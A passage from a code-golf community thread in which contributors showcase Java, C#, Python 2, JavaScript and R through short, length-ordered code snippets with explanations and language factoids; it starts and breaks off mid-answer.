``` 1 ``` In Haskell, `1` can be both an `Int`, `Float`, `Double`, `Word` and so forth. In fact, you can write code to define a version of `1` in any type and use it freely. this is done too in JavaScript, Python and so forth, but unlike those, it is done with full type safety. # factoid: Originally, the Haskell committee intended to call the language "Curry" after Haskell B. Curry's name but decided to change the name to Haskell because some puns might arise. Only later they noticed Haskell's similarity to "Pascal" and "Hassle"! [Answer] # Java --- ## Length 44 snippet ``` Object a=System.out.append("Hello, World!"); ``` Prints `Hello, World!` to STDOUT. ## Length 43 snippet ``` float[][][][][]a=new float[5][3][7][2][10]; ``` `a` contains 10 arrays which each contain 2 arrays which each contain 7 arrays which each contain 3 arrays which each contain 5 `float`s. ## Length 42 snippet ``` interface A{static void main(String[]a){}} ``` A complete program. Since everything in an `interface` is inherently `public`, we can omit the word `public` from the main method. ## Length 36 snippet ``` class A{class B extends A{B.B.B b;}} ``` `A` has an inner class `B`. This means we can declare a variable of type `A.B`. But `B` is a subclass of `A`, which means it has all of the methods, fields, *and inner classes* of `A`. Thus, we can refer to the type `B.B` as well. In this code, we take this a step further, and give `B` an instance variable of type `B.B.B`. The moral: following hot questions on SO can teach you a lot of interesting, if pointless, techniques. ## Length 35 snippet ``` l.stream().map("a"::equals).count() ``` If `l` is a list of Strings, this tells us how many of them equal `"a"`. ## Length 34 snippet ``` public static void main(String[]a) ``` Method signature of a program's main method. Just 11 more characters and we can make a complete program! ## Length 33 snippet ``` enum D {NORTH, EAST, SOUTH, WEST} ``` `NORTH`, `EAST`, `SOUTH`, and `WEST` are all constants of type `D`. ## Length 32 snippet ``` Files.readAllBytes("hello.txt"); ``` Reads an entire file, returning a `byte[]` of the contents. ## Length 31 snippet ``` new String(new char[]{'h','i'}) ``` Equivalent to `"hi"`. Useful if the `"` key is broken. ## Length 30 snippet ``` new JFrame().setVisible(true); ``` Creates a new visible frame, which you can place other components into. ## Length 29 snippet ``` throws ClassNotFoundException ``` Forces every method which call this to use a `try`-`catch` block, or else to pass the error up the stack. Checked exceptions are one of the most controversial decisions of the Java designers. ## Length 28 snippet ``` int f(int x){return f(x-1);} ``` This function does not run forever; in fact, on a typical computer it takes less than a second. Thanks, Stack overflow. ## Length 27 snippet ``` Object a=new String[]{"a"}; ``` Creates a new array of strings. ## Length 26 snippet ``` Object.class.newInstance() ``` Creates a new `Object`. ## Length 25 snippet ``` ((Supplier)()->-~0).get() ``` It's best to avoid hard-coding constants. This is an object-oriented way of getting the value `1` without using any constants other than `0`. ## Length 24 snippet ``` (Function<Long,?>)x->x+1 ``` The successor function. ## Length 23 snippet ``` l.removeIf(x->x%10==0); ``` If `l` is a list of integers, this removes all values divisible by 10. ## Length 22 snippet ``` int i=(new int[7])[5]; ``` Creates a new array of seven integers, and gets the fifth element. ## Length 21 snippet ``` Arrays.asList(2L,"a") ``` Creates an ArrayList with these elements. ## Length 20 snippet ``` System.out.print(s); ``` Prints `s`. ## Length 19 snippet ``` import java.util.*; ``` Allows concise use of classes like `List`, `Map`, `Scanner`, `Timer`, and `Random`. ## Length 18 snippet ``` Math.addExact(x,y) ``` Adds two integers `x` and `y`. If overflow occurs, the method throws an exception rather than giving an incorrect answer. ## Length 17 snippet ``` Double.MIN_NORMAL ``` The smallest positive value of type `double`, where the leading bit of the significand is 0. ## Length 16 snippet ``` System.in.read() ``` Reads a single character from the console. ## Length 15 snippet ``` Long.reverse(x) ``` Reverses the bits in the binary representation of `x`. ## Length 14 snippet ``` int x=050+120; ``` `x` is now 160, since anything starting with `0` is treated as octal. ## Length 13 snippet ``` private C(){} ``` A private constructor prevents other classes from instantiating it. This pattern is used by the `System` and `Math` classes, among others. A private constructor can also be used to enforce the Singleton Pattern. ## Length 12 snippet ``` static class ``` Allows the creation of inner classes without an enclosing outer class - a solution to a [problem](https://stackoverflow.com/questions/12690128/how-to-instantiate-non-static-inner-class-within-a-static-method) [faced](https://stackoverflow.com/questions/4058974/static-method-returning-inner-class) [by](https://stackoverflow.com/questions/10672563/inner-class-and-static-method-java) [many](https://stackoverflow.com/questions/975134/why-cant-we-have-static-method-in-a-non-static-inner-class) [programmers](https://stackoverflow.com/questions/5944448/what-exactly-is-the-reason-that-we-cannot-declare-static-methods-in-public-inn?lq=1). ## Length 11 snippet ``` throw null; ``` It's often necessary to throw a `NullPointerException`, but it's also quite wordy. This is a much simpler alternative. ## Length 10 snippet ``` int[]a,b[] ``` Defines two variables: `a` and `b`. `a` is of type `int[]` and `b` is of type `int[][]`. ## Length 9 snippet ``` switch(x) ``` Goes to a place, depending on the value of `x`. ## Length 8 snippet ``` break a; ``` Breaks out of the block labeled `a`. ## Length 7 snippet ``` goto x; ``` The `goto` keyword is reserved in C, C++, and Java. If `x` is a label, then this code sends the program to the appropriate label – in C and C++. But it Java, it triggers a mysterious `RuntimeException`. In fact, there is no way at all to use the `goto` keyword in Java. ## Length 6 snippet ``` \u003b ``` Ends a statement. Java is *weird*. ## Length 5 snippet ``` a-=-a ``` Doubles `a` by subtracting its negation. ## Length 4 snippet ``` a&=b ``` Sets the value of `a` to the bitwise and of `a` and `b`. ## Length 3 snippet ``` ... ``` Any number of arguments, consolidated into an array. ## Length 2 snippet ``` <> ``` Allows the compiler to figure out what generic type you probably mean. Very un-Java-like. ## Length 1 snippet ``` @ ``` Indicates an annotation to allow additional information to be shown about methods and classes. ## Factoid In Java, infinite loops sometimes cause compiler errors. For example, the loop `while(true);` can not be terminated without exiting the method, so any code after that will trigger an "unreachable statement" error. As @Optimizer pointed out, only some infinite loops will be caught this way. [Answer] # C# C# is a fun, crazy mix of features from Java, C, Haskell, SQL, and a ton of other languages, and it provides a lot of really nice features and APIs. It's also known around here for being pretty verbose, but we'll see what we can do! I'll ignore the usual required boilerplate (no longer required in C#9.0): ``` class Program { public static void Main(string[] args) { ... } } ``` **Length 1:** ``` ; ``` Commands are terminated with semicolons in C#! An empty line is perfectly valid syntax. **Length 5:** ``` x=5f; ``` When you specify literal numbers in C#, the compiler will assume that they are ints or doubles (based on whether they have a decimal point). If you want to use a literal float, you should specify that by appending 'f' to the number, or it will be cast at runtime, incurring a slight cost. **Length 7 (bytes):** ``` s=@" "; ``` If you prefix a string literal with an @ sign, it becomes a "verbatim" string literal. Normal string literals parse escape sequences like '\n' into special characters, but verbatim literals don't, allowing you to use the backslash character without escaping it. They can also include line returns, as shown. That could save you a few bytes in golf, or make your multi-line string literals more readable. Just watch out for indentation being included in the string. **Length 8:** ``` ()=>x=y; ``` This expression is an anonymous function. It returns an object of type `Action` that can be passed around and also called like a function. Anonymous functions inherit the scope in which they were declared, and they pull any local variables in that scope with them anywhere they go. **Length 9:** ``` (a)=>a.p; ``` Here's another anonymous function that uses a parameter and return value. The expression returns an object of type `Func` (the Func itself returns the type of `a.p`. You'll use `Func` a lot to interface with Linq. **Length 10:** ``` enm.Any(); ``` This is our first introduction to Linq! Linq is a set of extension methods that can be called on any object that is enumerable (implementing the IEnumerable interface) - like `Array` and `List`. IEnumerable employs lazy evaluation: it goes through the collection one item at a time, without knowing about the collection as a whole - it could even be infinite! That's where `Any` comes in - it returns `true` if the Enumerable contains at least 1 item. Much better than calculating out the whole length. **Length 11:** ``` var a=1.5f; ``` The `var` keyword instructs the compiler to automatically determine the type of `a`. `a` in this case will be typed as `Single`. Very handy for code golf, as it's shorter by far than almost any type name, though many dislike using it in production code. **Length 15:** ``` yield return 0; ``` Here's a crazy statement you may be less familiar with. You know that objects can be enumerable by inheriting IEnumerable, but did you know that *functions* can be enumerable? Declare a function with a return type of `IEnumerable`, and have it `yield return` as many times as you want. When you get an Enumerator to the function, each call to `GetNext` will have the program execute all the code up to the next `yield return`, return that value, and then pause until you advance it again. You use `yield break` to end the iteration. **Length 16:** ``` [Obsolete]int a; ``` This snippet shows an attribute. An attribute is a kind of tag you can stick on any declaration in your code. Some instruct the compiler to do certain things, like this one that emits an Obsolete warning if you call `a`. You can create your own by extending `Attribute`, and you can query them using Reflection (more on that later, perhaps). You can go meta and restrict what kind of declarations an attribute can be used on with the `AttributeUsage` attribute. **Length 17** ``` c.Count(t=>t==3); ``` Here's a handy golf method. Given a `Func` that maps an element of the enumerable `c` to `bool`, it returns the number of elements in `c` for which that `Func` returns `true`. Much nicer than writing out a loop. **Length 18:** ``` foreach(T t in c); ``` This is a for-each loop. With all this talk of enumerable things, this is a much-needed structure. `foreach` is syntactic sugar that will set up an Enumerator for `c` (which must be enumerable) and iterate through it one element `t` at a time. You can alter or examine each individual element, but altering the collection itself will invalidate the enumerator. **Length 19** ``` c.Select(t=>t.a/2); ``` This is your 'map' function, for functional programming fans. Select is a nice concise way to perform some arbitrary conversion (defined by a `Func` passed in) on each element of an enumerable. It returns an IEnumerable that will spit out the "converted" elements when you iterate it. **Length 21** ``` Console.Write("Hi!"); ``` This line writes some text to stdout, and is probably one of the main reasons C# isn't used for golfing much! **Length 23** ``` typeof(T).GetMethods(); ``` C# supports a very powerful feature called Reflection. Reflection lets you examine the structure of your code at runtime. For example, this call will return an Array of all methods on the specified type. You can examine those methods, call them, or even modify the values of fields and properties. Attributes (see Length 16) are a good way to tag parts of your code for use with Reflection. **Length 25** ``` from t in c select t.a/2; ``` Is that SQL? In C# code? Pretty close. This expression does the same thing as the one at Length 19. **Length 27** ``` for(var l;;l=new object()); ``` C# is a garbage-collected language, which means that any memory you allocate (using the `new` keyword) can be automatically released as long as no references to it exist. This code will run happily forever even though I never explicitly free the memory created. Garbage collection has costs, though - search the web to learn more. **Length 29** ``` var e=Enumerable.Range(0,99); ``` `Enumerable.Range` is a potentially handy golf function. It returns a structure that can be enumerated and will yield each number in the range specified, in order. The second parameter is a count, not an index. **Length 31** ``` public int pr{get;private set;} ``` Here, we can show a simple 'property', an OOP feature and another hallmark of C#. If you've ever used Java, you've probably made 'get' and 'set' methods for a field in order to separate their accessibility or run code when it's changed. Well, C# lets you declare that code right on top of the field, and also set separate access modifiers for getting and setting. This particular snippet automatically creates a default getter and setter, but makes the setter private. **Length 32** ``` public static void m(this T o){} ``` This snippet shows a C# feature that's nice for API design. By applying the `this` modifier to the first parameter of a static method, that method becomes an "extension" method. Once this is declared, `T.m` can now be called on any object of type T as though it were actually a method of T. This can be used to add new functionality to any existing class, without modifying or even having access to its source code. **Length 38** ``` int f(int a,ref int b,out int c){c=0;} ``` This method showcases different types of parameter passing you can have in C#. Unmodified parameters are [passed by value](http://www.cs.fsu.edu/%7Emyers/c++/notes/references.html). Parameters prefixed by `ref` are passed by reference: you can assign a completely new object to them and they will carry it back out of the method. Parameters prefixed by `out` are like additional return values: you are required to assign them a value in the method, and they are carried back out just like ref parameters. **Length 42** ``` Console.Write("It is \{DateTime.Now()}."); ``` The new C# 6 standard can save you some characters when you have to output assembled strings, using string interpolation. This feature allows you to write any expression in curly braces inside a string literal, and the string will be automatically assembled with the values of those expressions at runtime. **Length 48** ``` IEnumerable f(){for(int a=0;;)yield return a++;} ``` Just enough characters now to do something with an actual purpose! This method uses some of ideas we explored above to create an infinite Enumerable that will simply return the integers, one-by-one, starting with 0. Remember that C# employs lazy evaluation with Enumerables, so an infinite sequence is perfectly valid - you can iterate as much of the sequence as you want, and break out at any time. **Length 56** ``` int p{get{return mP;}set{mP=Math.Max(value,0);}};int mP; ``` Here is another example of a 'property' (see snippet 31). Here, I have actually defined different code snippets for `get` and `set` rather than using the automatic ones as before. This example demonstrates how you can use a property to validate the value assigned to a variable - here, the value is not allowed to become less than 0. Other good uses of properties include notifying an event when a value is changed, or rebuilding cached values that might be based on this one. **Length 65** ``` int v;public static implicit operator int(Program o){return o.v;} ``` This feature is called an implicit cast. It's sort of like an extension method in that it is static code that operates on a specific class (see snippet 32). However, the implicit cast isn't used by calling it - it's used simply by treating a `Program` object as an integer (e.g. `int i=new Program()`). When you do this, the object will be silently converted into the type you're using it as, based on the code in the implicit cast. Best practice says to only do this when no information is lost as a result of the conversion. [Answer] # Python 2 Now starting with the newest for your convenience! To read through length 30 starting with the earliest first, go to revision history. If anyone has suggestions, feel free to comment. ## Length 100 üéâ We reached 100, hurray! Because of this impressive milestone, I have updated this showcase with a new program. ``` import re def f(i): w = re.sub('\s', '', i) s = re.subn('[\W_]', '', w) a = len(s[0]) print '%d + %d = %d' % (a, s[1], a+s[1]) ``` [**Try it Online!**](https://tio.run/##zY5BCsIwFET3OcUnUJLQIOpSyDm6SItEmmBA05AfKZ4@fq14BgdmBuZtJj/rdUnH1uI9L6VC8Wz2AYKM6sSAtIKhcYePixQjCg2CHNWH4Y8lKew4nKcvXzfuiN98kmj307bkElMF0c3QA4WhENCBdBrQHiYNrn@3amg45//1iQ6xIFG1Fw) Taken from [this old answer of mine](https://codegolf.stackexchange.com/a/44532/34718), which was conveniently 100 bytes. This program uses regular expressions on the input string to count the number of whitespace characters, then non-whitespace characters. It will then display the counts, and the sum total. This challenge had a source restriction, requiring the programs to have an equal number of whitespace and non-whitespace characters. Running this program with itself as input will print `50 + 50 = 100`. `re.sub` is the function to replace using a regex. `re.subn` does the same thing, but also returns the number of replacements (in addition to the string after replacement). This program also uses a format string with a tuple of parameters to print in the proper format. --- **Length 52:** ``` i=0 while s[i-n:]:print(' '*n+s)[i:n+i];i+=1;i**7**7 ``` Taken from my entry in the [Fake Marquee Text](https://codegolf.stackexchange.com/a/50142/34718) challenge. `s` and `n` need to be set to a string and an integer ahead of time. [Try It Online!](https://tio.run/##K6gsycjPM/pfbKuem1hUWJqaqm7NlWdrav0/09aAqzwjMydVoTg6UzfPKtaqoCgzr0RDXUFdK0@7WDM60ypPOzPWOlPb1tA6U0vLHIj@/wcA) **Length 43:** ``` #-*-coding:rot13-*- cevag h"Una fubg svefg" ``` In Python you are able to encode the source with a specific codec. This shows how the source can be written in Rot13. The general syntax is this: `# -*- coding: <codec-name-goes-here> -*-`. Here it is translated: ``` #-*-coding:rot13-*- print u"Han shot first" ``` The `u` specifies that the following string literal is a Unicode string. This is necessary if you want your strings to also be in Rot13, otherwise every string in the source is easily readable despite the encryption. Alternatively, you could use `.encode("Rot13")` after every string (don't forget to use Rot13 on this, too.) According to [this article](https://breakingcode.wordpress.com/2010/07/23/quickpost-hiding-your-python-source-with-rot13/), some alternate encodings are ‚Äúbase64‚Ä≥, ‚Äúuuencode‚Äù, ‚Äúzlib‚Äù, or ‚Äúbz2‚Ä≥. **Length 33:** ``` import cmath print cmath.sqrt(-1) ``` This is Python's module for [complex (imaginary) numbers](http://en.wikipedia.org/wiki/Complex_number). This prints `1j`, since Python conforms to engineering standards and uses `j` as the imaginary unit, though I prefer `i`, which is more commonly used in mathematics, and using `j` and `k` in addition to `i` for the [quaternions](http://en.wikipedia.org/wiki/Quaternion), but I digress. Read the bug/change order [here](http://bugs.python.org/issue10562) (it won't be changed). **Length 30:** ``` f=lambda n:n*f(n-1)if n else 1 ``` Now we define our own factorial function using recursion and the ternary if-else! As far as I know, this is as golfed as it gets in Python. It could also be written this way: `f=lambda n:n and f(n-1)*n or 1`, showcasing a couple Python's Boolean operators (and also done in 30 characters.) See the length 15 snippet for information on the `lambda` syntax. **Length 29:** ``` import math math.factorial(7) ``` Finds the factorial of 7, returning `5040`. **Length 25:** ``` import math print math.pi ``` Python's math module provides many useful functions and constants. Here's PI. Returns `3.14159265359`. (In the code above, I counted the newline as a character.) **Length 24:** ``` f=lambda y:lambda x:x**y ``` This is an example of a closure. Calling `cube = f(3)` will make a cubic function that can then be called with `print cube(24)`, printing `13824`. **Length 19:** ``` print"Hello World!" ``` Finally, enough room to print some basic output! The space is not required here, because quotes and parentheses are also delimiters. This will only work in Python 2, since Python 3 changed the `print` function to be called like any other function. In Python 3, use `print("Hello World!")`. For more information on the print function and difference between Python 2 and 3, see [What's New In Python 3.0](https://docs.python.org/3/whatsnew/3.0.html). **Length 16:** ``` [x*3 for x in l] ``` Once again, assume `l` is a list or any other iterable object such as a string or generator. This statement is known as a *list comprehension*. It is much shorter than using the standard for loop structure. Here, it returns a list with all the numbers multiplied by 3. ALSO, **strings can be multiplied!** So any string in the list will be added (concatenated to itself) that number of times. **Length 15:** ``` import this #:) ``` This is actually a length 11 snippet, but I realized I had forgotten to showcase Python's (awesome) [easter egg](http://www.wefearchange.org/2010/06/import-this-and-zen-of-python.html)! Importing this module prints *The Zen of Python* (See Factoid.) Interesting fact: the module `this.py` was encoded in rot13, which I will hopefully feature later. **Length 14:** ``` lambda x:x**.5 ``` This defines a square root function using Python's `lambda` syntax for a function literal. Function literals in Python can only contain expressions, not statements. This lambda could be assigned to a variable, passed to a function, or executed in-line with `(lambda x:x**.5)(9)`, which returns `3.0`. Using exponents for a square root is an alternative to importing the `sqrt` function in the `math` module. **Length 13:** ``` 1 if x else 0 ``` This is an example of Python's ternary if operator. This was added in Python 2.5 to discourage coders from manually implementing it with Boolean operations. Here, `1` is return if `x` evaluates to `True`, otherwise `0` is returned. **Length 12:** ``` s=input(">") ``` This will print `>` for the prompt text and allow the user to input a value. Python 2 interprets whatever value is entered, so any string needs quotes. Python 3 changed this, so that input entered is not automatically interpreted. To enter input without interpreting it in Python 2, use `raw_input()`. In Python 2, `input()` is equivalent to `eval(raw_input())`. **Length 11:** ``` eval("2e3") ``` `2e3` is scientific notation for the float 2 x 10¬≥. The `eval` function interprets and evaluates any string as an expression. In this case, it has the same result as using the literal `2e3` or `float("2e3")`. It returns `2000.0`. **Length 10:** ``` range(013) ``` This function returns a list of integers from `0` to the octal value `013`, which is `11` (exclusive), meaning that the list will be `[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]`. The function takes up to three parameters similar to the `slice` function we reviewed earlier: `range(start, stop[, step])`. The difference is, with only one parameter the parameter represents the stopping value. Note that Python 3.x has no equivalent. It's `range` is similar, but is actually the same as Python 2's [`xrange`](https://docs.python.org/2/library/functions.html#xrange), returning a generator object instead of a list. **Length 9:** ``` a,b = b,a ``` Multiple assignment. This is a simple but elegant feature, allowing you to assign multiple values at the same time. In the snippet provided, it swaps `a` and `b`. What about the order of evaluation, you ask? All the expressions to the right of the assignment operator are evaluated before any of the assignments are made. This beats many languages that require an intermediate assignment to a temporary variable. **Length 8:** ``` #comment ``` You know what it is... Wait, you don't? You know, those things that let you type arbitrary text to describe a line of code, making it easier to understand? No? Oh, okay... **Length 7:** ``` l[::-1] ``` Again assuming `l` is a list, this will return the list in reverse order. The third argument indicates step size. Since all three arguments can be negative values, a negative step size means iterating in reverse order. The empty first and second arguments show that we're iterating over the entire list. We're getting to where we can start using some more interesting constructs! **Length 6:** ``` l[-6:] ``` This is called a [slice](https://docs.python.org/2/library/functions.html#slice) operation. If `l` is a list, this will return a new list containing the last six elements of `l` as a list. `-6` represents the starting index (6 from the end), and the colon means to continue until the ending index after it (which we left blank, so to the end.) If our list contained the numbers 1 through 10, this would return `[5, 6, 7, 8, 9, 10]`. **Length 5:** ``` 1<x<5 ``` One of Python's awesome features is allowing you to chain comparison operators. In many other languages, this would be typed as `1 < x && x < 5`. It gets even better when you consider multiple comparisons: `1 < x < y < 5` is perfectly valid! **Length 4:** ``` 0256 ``` An integer with a leading zero is a literal octal value. This is a nice trick for code obfuscation as well. This returns the decimal value `174`. In Python 3.x, the octal value would be written as `0o256`. **Length 3:** ``` `3` ``` Surrounding an expression in backticks is the same as using `repr()`, which returns the string representation of an object. The function attempts to return the string in such a way that when it is passed as an argument to the `eval` function, it will return the original object. It is *not* the same as using `str()`, though the results are sometimes the same. For this input, `'3'` is returned in both cases. This is a favorite of mine for code golf! *Works in Python 2 only!* **Length 2:** ``` [] ``` An empty list. **Length 1:** ``` _ ``` The underscore character is a much-used throwaway variable name. If you are using a Python shell (interactive interpreter), however, it holds the result of the last executed statement (and would return it again.) Also, according to [this thread](https://stackoverflow.com/questions/5893163/underscore-in-python/5893946#5893946), it is also used for translation lookup in i18n. **Factoid**: Python is a language similar to Java and C. It was built with a specific design philosophy (taken from "[PEP 20 ‚Äì The Zen of Python](https://www.python.org/dev/peps/pep-0020/)": * Beautiful is better than ugly * Explicit is better than implicit * Simple is better than complex * Complex is better than complicated * Readability counts Because of these, though semi-colons are allowed as a statement delimiter, they are usually omitted in favor of using multiple lines for readability. Also, line indentation is very important! [Answer] # JavaScript This goes newest to oldest. Link for myself: [[edit](https://codegolf.stackexchange.com/posts/44706/edit)] **Length 52 snippet:** ``` console.log([...new Array(5000000)].map((a,b)=>b+1)) ``` This logs an array of five million consecutive integers to the console. **Length 51 snippet:** ``` console.log(require('fs').readFileSync(__filename)) ``` A Node.JS quine this time, though it would fail any "strict quine" requirements, due to reading its own source code. **Length 50 snippet:** ``` a=new XMLHttpRequest;a.open('GET','file');a.send() ``` Finally! An AJAX request (using [Vanilla.JS](http://vanilla-js.com/)). We initialize, open, and send the request, but I ran out of room to add handlers and actually *do* anything with the result. **Length 49 snippet:** ``` msg=new SpeechSynthesisUtterance('Hello World!'); ``` Prepare a vocal "Hello World!". It'll be a little more work to actually speak it. We can also adjust the volume, pitch, rate, and accent. See [Speech Synthesis API on HTML5Rocks](http://updates.html5rocks.com/2014/01/Web-apps-that-talk---Introduction-to-the-Speech-Synthesis-API). [Not yet supported by Firefox, certainly not IE](http://caniuse.com/speech-synthesis). **Length 48 snippet:** ``` function repeat(){setTimeout(repeat,48)}repeat() ``` Simulate `setInterval` by recursively `setTimeout`ing. **Length 47 snippet:** ``` module.exports=function MyModule(a) {this.a=a}; ``` NodeJS again, but the principle is the same everywhere in JS. This is a very basic constructor function, which creates an object with one property (`a`). Setting `module.exports` exports the function for use by `require()`-ing it. **Length 46 snippet:** ``` canvas.getContext('2d').fillRect(46,46,46,46); ``` This requires a `<canvas id="canvas"></canvas>` element. It takes advantage of the fact that elements with IDs are populated as global variables, so the element is accessible as `canvas` from JS. Then we fill it with a 46x46 square at x=46, y=46. **Length 45 snippet:** ``` JSON.parse(require('fs').readFileSync('jsn')) ``` Back to Node. Here, we parse a JSON file named `jsn` from the current directory. **Length 44 snippet:** ``` (a=document.createElement('a')).href="/url"; ``` Building on #39. Now we create an element and assign an attribute. It still isn't in the DOM though. **Length 43 snippet:** ``` sq=[1,2,3,4,5].map(function(n){return n*n}) ``` Creates an array of the first 5 squares, using `map()`. **Length 42 snippet:** ``` six="1+5",nine="8+1";eval(six+' * '+nine); ``` This works on the same principle as [this](https://codegolf.stackexchange.com/a/21887/32376), but JS lacks `#define` and so ends up uglier. It returns, of course, [the answer to life, the universe, and everything](https://www.google.com/?q=the+answer+to+life+the+universe+and+everything). **Length 41 snippet:** ``` c=function(){var i;return function(){}}() ``` The beginning of a closure. `c` is now a function (the internal one) with access to the internal variable `i`, but it doesn't do anything. **Length 40 snippet:** ``` $('p').click(function(){$(this).hide()}) ``` [We are totally dropping those paragraphs and using jQuery.](https://meta.stackexchange.com/a/19492/259693) **Length 39 snippet:** ``` script=document.createElement('script') ``` This is the beginning of adding a new external script. Create an empty `<script>` element, and keep a reference to it. **Length 38 snippet:** ``` document.getElementsByClassName('abc') ``` Find all the the `.abc` elements in the document. Of course, with jQuery, it's only `$('.abc')`... **Length 37 snippet:** ``` b=JSON.parse(JSON.stringify(a={3:7})) ``` Creates two identical, but decoupled objects, `a`, and `b`. If you would do ``` a={a:1}; b=a; b.a=3; ``` you'd end up with `a=={a:3}`, because `a` and `b` point to the same object. We use JSON to decouple them. **Length 36 snippet:** ``` (function f(){return "("+f+")()"})() ``` A [quine](https://en.wikipedia.org/wiki/Quine_(computing)). It prints its own source code. **Length 35 snippet:** ``` document.body.style.display="none"; ``` See #32. This one just hides the document, without overwriting the contents. **Length 34 snippet:** ``` Object.prototype.toString.call(34) ``` Calling `Object.prototype.toString` is a good way to tell the type of an object. While `34..toString()` is `"34"`, the snippet is `[object Number]`. **Length 33 snippet:** (credit for this one goes to [an anonymous user](https://codegolf.stackexchange.com/review/suggested-edits/19862)) ``` +0%-0.&(v\u0061r=~void[{}<<!(0)]) ``` Think this is not valid JavaScript? Better try it out... (use Chrome) ;) **Length 32 snippet:** ``` document.body.innerHTML="hacked" ``` Halp! Hazxxors!eleven!!11! **Length 31 snippet:** ``` a=[];for(i=0;i<31;i++)a.push(i) ``` No kidding, i have been waiting so long to be able to actually use a `for` loop! This one creates an array from 0-30. **Length 30 snippet:** ``` new Date().getDay()==1?"S":"E" ``` First time using the ternary operator. I couldn't fit more than this in 30 characters, so we only know if today is Sunday, or something Else. :P **Length 29 snippet:** ``` Object.keys(window).push('i') ``` `Object.keys(window)` will get an array of the global variables (properties of `window`). `.push()` will append an item to that array. Think this is the equivalent of `window.i=undefined`? Nope! **Length 28 snippet:** ``` setTimeout("a=confirm()",28) ``` Waiting 28 milliseconds isn't so useful, except for creating a new thread. **Length 27 snippet:** ``` document.querySelector('a') ``` It's a shame that DOM names are so long. I could only get a single link here. **Length 26 snippet:** ``` JSON.stringify({twenty:6}) ``` See #16. *Now* we get actual JSON - a string. **Length 25 snippet:** ``` new Badge("Good Answer"); ``` Assuming `Badge()` is a constructor function taking an argument... a [Good Answer](https://codegolf.stackexchange.com/help/badges/39/good-answer?userid=32376) badge was just created! **Length 24 snippet:** ``` do {alert(24)} while(!1) ``` I actually don't use `do..while` very much at all, but some do. If this was an ordinary `while` loop, it wouldn't alert anything, because it's always false. `do..while` will always run at least once though, so we do get to see 24. **Length 23 snippet:** ``` window.parent==self.top ``` These all refer to the same object, generally known as `window`. If you call a function normally, there's also `this`. That's 5 ways of accessing the global object! **Length 22 snippet:** ``` for(i in self)alert(i) ``` Alert all the global variables. It happens to be that `self==window`. (See the next snippet.) **Length 21 snippet:** ``` "2"+1==21 && 2+1=="3" ``` Oh look, it's JS's casting rules again. This statement is true, btw. **Length 20 snippet:** ``` Math.random()<.5?0:1 ``` Pick a random number from 0-1, and round using the ternary operator. Though it would be easier to use `Math.round`... **Length 19 snippet:** ``` [1,2,3].map(i=>i*i) ``` This one is new. Like, really new. It uses [ES6 arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) to compute the squares of 1, 2, and 3. Currently, it only seems to be supported by Firefox. **Length 18 snippet:** ``` location.href="/"; ``` Like #15, but this time, it goes to the PPCG homepage, not SE. **Length 17 snippet:** ``` (function(){})() ``` It's the snippet from 14, but better! Now it's an IIFE. **Length 16 snippet:** ``` obj={not:'json'} ``` This explains one of my pet peeves. This is an *object*, *not JSON*! [JSON](http://www.json.org/) is a data-interchange format based on JavaScript objects, but taking a more strict format. **Length 15 snippet:** ``` open('//s.tk/') ``` Imagine that. Open up the SE homepage, using the <http://s.tk/> redirect. **Length 14 snippet:** ``` function f(){} ``` W00t! Functions! Too bad there's no room to *do* anything. **Length 13 snippet:** ``` Math.random() ``` Generate a random number from 0 to 1. Want to define your own limits? Tough luck. (Not really, it's easy.) **Length 12 snippet:** ``` new Date<=12 ``` This statement has never been true in JS. JS wasn't created until '95 (see factoid), long after 1/1/1970 00:00:00.012. **Length 11 snippet:** ``` Math.PI*121 ``` The area of a circle with radius 11. **Length 10 snippet:** ``` if('j')9+1 ``` In case you haven't noticed, i like doing something with the snippet number in the code. This one returns 10, and uses j, the tenth letter of the alphabet. **Length 9 snippet:** ``` [9].pop() ``` Make an array with one item. `pop` goes the ~~weasel~~ 9. **Length 8 snippet:** ``` document ``` The basis for all DOM work. But we can't do anything, because it's too long. :( Go jQuery! **Length 7 snippet:** ``` alert() ``` Oh boy! A function call! Finally getting to be able to do stuff! **Length 6 snippet:** ``` var x=6 ``` Based on #3. Much better though, because now the global is *explicit*. :P **Length 5 snippet:** ``` [][5] ``` Even shorter than `void 0` to get `undefined`. BTW: `''.a` is even shorter; only 4 characters. **Length 4 snippet:** ``` +"4" ``` This will create the number `4` out of the string `"4"`. You can reuse these exact same 4 characters in a different order to do the opposite! **Length 3 snippet:** ``` x=3 ``` Oh dang, we just made an implicit global variable... **Length 2 snippet:** ``` {} ``` What does this do? If you said creates an object literal, you're wrong. It's actually an empty block. Open up a console and try it! It returns `undefined`, not `{}`. In 2018, `{}` in Chrome's console actually returns an empty object. **Length 1 snippet:** ``` 1 ``` That's it. Any number is a valid JS expression. **Factoid:** JavaScript was originally called LiveScript. It was changed to JavaScript to capitalize on the popularity of Java, at the time (1995). Personally, they should have kept the old name; JavaScript has been a source of confusion since. Fact is, Java and JavaScript are about as similar as ["car" and "carpet"](https://stackoverflow.com/a/245068/3187556). [Answer] # R **Factoid:** The R programming language began as a GNU implementation of the S programming language. It is primarily used for statistics and related applications. **Note:** Though not a requirement of the competition, every snippet here can be run on its own in R. --- **Length 32:** ``` `[.data.frame`(swiss,3,2,drop=F) ``` This looks a little mysterious... and indeed it should! There's a much better way to write this: ``` swiss[3, 2, drop = FALSE] ``` That should look a bit more familiar. Here's what happens when we run either of these pieces of code: ``` > `[.data.frame`(swiss,3,2,drop=F) Agriculture Franches-Mnt 39.7 ``` The `swiss` data frame ships with R like several others we've seen so far. It contains fertility and socioeconomic indicators for 47 French-speaking provinces of Switzerland from around the year 1888. The third row is for the province Franches-Mnt, and the second column is the percent of males involved in agriculture as a profession in each province. So in 1888, 39.7% of males in the Franches-Mnt province of Switzerland worked in agriculture. When you extract rows or columns from a data frame using the simpler notation, R is actually using `[.data.frame` in the background. As we saw in snippet 24, pretty much anything can be defined as a function name so long as its surrounded in back ticks, so our snippet here is legit even though the function name technically contains unmatched brackets. The `drop=` argument tells R whether you want it to drop the result into a lower dimension if possible. Indeed, if we say `drop=TRUE`, we get this: ``` > `[.data.frame`(swiss,3,2,drop=T) [1] 39.7 ``` Where previously the result was a data frame, R now gives us a double. --- **Length 31:** ``` print(fortune("hadleywickham")) ``` The `fortune()` function is from the all-knowing `fortunes` package, which provides a variety of wise quotes from a variety of wise folks. This snippet will provide you with the following gem from Hadley Wickham (23) by printing to the console: ``` That's a casual model, not a causal model - you can tell the difference by looking for the word "excel". -- Hadley Wickham (commenting on 